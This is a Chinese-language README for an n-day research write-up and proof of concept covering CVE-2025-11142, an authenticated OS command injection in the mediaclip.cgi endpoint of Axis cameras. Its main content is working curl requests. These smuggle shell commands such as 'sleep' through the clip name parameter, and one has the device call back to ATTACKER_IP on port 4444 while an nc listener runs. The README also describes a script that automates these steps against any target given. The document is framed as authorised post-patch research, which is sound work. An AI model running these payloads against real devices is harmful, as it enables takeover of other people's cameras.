mediaclip.cgi 操作系统命令注入n-day 研究文章与 PoC — 针对 AXIS VAPIX Media Clip API 中 CVSS 7.1 操作系统命令注入漏洞的补丁后技术分析,通过黑盒测试针对 Axis 设备独立重新发现并验证。
Axis 官方公告未公布技术利用细节或公开 PoC(截至公告发布时,“Axis 不会提供有关该漏洞的更详细信息”,“目前没有公开已知的漏洞利用”)。本仓库记录了一项独立复现、基于证据的确认,仅在供应商修复(AXIS OS 12.7.36)普遍可用后发布。参见披露时间线。
| CVE ID | CVE-2025-11142 |
| CWE | CWE-78(操作系统命令注入) |
| CVSS | 7.1(高危) |
| 受影响版本 | AXIS OS 12.6.54 – 12.7.35 |
| 修复版本 | AXIS OS 12.7.36(Active 轨道) |
| 供应商公告 | https://www.axis.com/dam/public/18/0e/90/cve-2025-11142pdf-en-US-519291.pdf |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-11142 |
| 所需权限 | 已认证的操作员/管理员(VAPIX HTTP Digest 认证) |
| 此处验证的影响 | 以低权限服务账户(非 root)执行任意操作系统命令 |
/axis-cgi/mediaclip.cgi VAPIX 端点接受带有自由文本 name 参数(剪辑的显示名称)的 action=update 请求。黑盒测试表明,该值未经清理即被传递给设备上的 shell 调用——很可能是媒体剪辑子系统内部文件重命名/处理步骤的一部分。
没有公开的技术文章描述确切的服务器端代码路径(Axis 未发布相关文章),因此以下根本原因是从黑盒行为推断而来,而非源码审查。
所有请求均使用 HTTP Digest 认证(设备拒绝 Basic 认证)。请将 TARGET、USER 和 PASS 替换为您自己实验室设备的值——请勿对您不拥有或未经授权测试的设备使用示例凭据。
update 操作要求存在现有剪辑。如果剪辑 0 尚不存在,请先上传一个小的无害占位文件:
curl -s --digest -u "$USER:$PASS" --anyauth \
-X POST "http://$TARGET/axis-cgi/mediaclip.cgi?action=upload&media=audio&name=testclip" \
-F "[email protected];type=audio/wav"
任何微小的有效 WAV 文件都可用于 poc.wav(最小的 RIFF/WAVE 头就足够了)。
# 基线 / 对照 — 无注入延迟
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 0;"
# 注入 8 秒延迟
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 8;"
响应时间跟随注入的 sleep 时长(而非约 0.3 秒的基线)即可确认 shell 正在执行完整的 name 值,而非仅将其视为惰性字符串。此验证使用了多个独立缩放的延迟(0 秒 / 3 秒 / 6 秒 / 8 秒)和多种注入语法(;、&&、反引号、$(...))以排除巧合。
由于 HTTP 响应体从不回显命令输出(无论载荷如何均返回 OK / Updating=0),最令人信服的确认方式是使用设备自身的出站网络能力。在攻击者控制的主机上启动监听器,并让注入的命令回调到该主机:
# 在攻击者主机上:
nc -lvnp 4444
# 注入载荷:
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;curl http://ATTACKER_IP:4444/rce_confirmed;"
来自目标设备 IP 地址的真实入站 HTTP 请求(包含 curl User-Agent 字符串)是远程代码执行的无歧义证明——该请求只能源自实际在设备上运行的命令。
curl -s --digest -u "$USER:$PASS" --anyauth "http://$TARGET/axis-cgi/mediaclip.cgi?action=remove&clip=0"
poc.py参见 poc.py 获取一个自包含脚本,可针对您在命令行中指定的目标自动执行步骤 1–4。
usage: poc.py --target 192.168.1.100 --user admin --pass admin --callback-ip 192.168.1.50 [--callback-port 4444]
mediaclip.cgi 中的 CWE-78 命令注入)且 Axis 尚未确认的任何 0-day 细节。此代码仅用于授权的安全测试、安全研究和防御目的(例如,验证您自己的设备群是否已修补、构建检测签名)。请勿对您不拥有或未获得明确书面授权测试的设备使用。作者对滥用不承担任何责任。
MIT — 参见 LICENSE。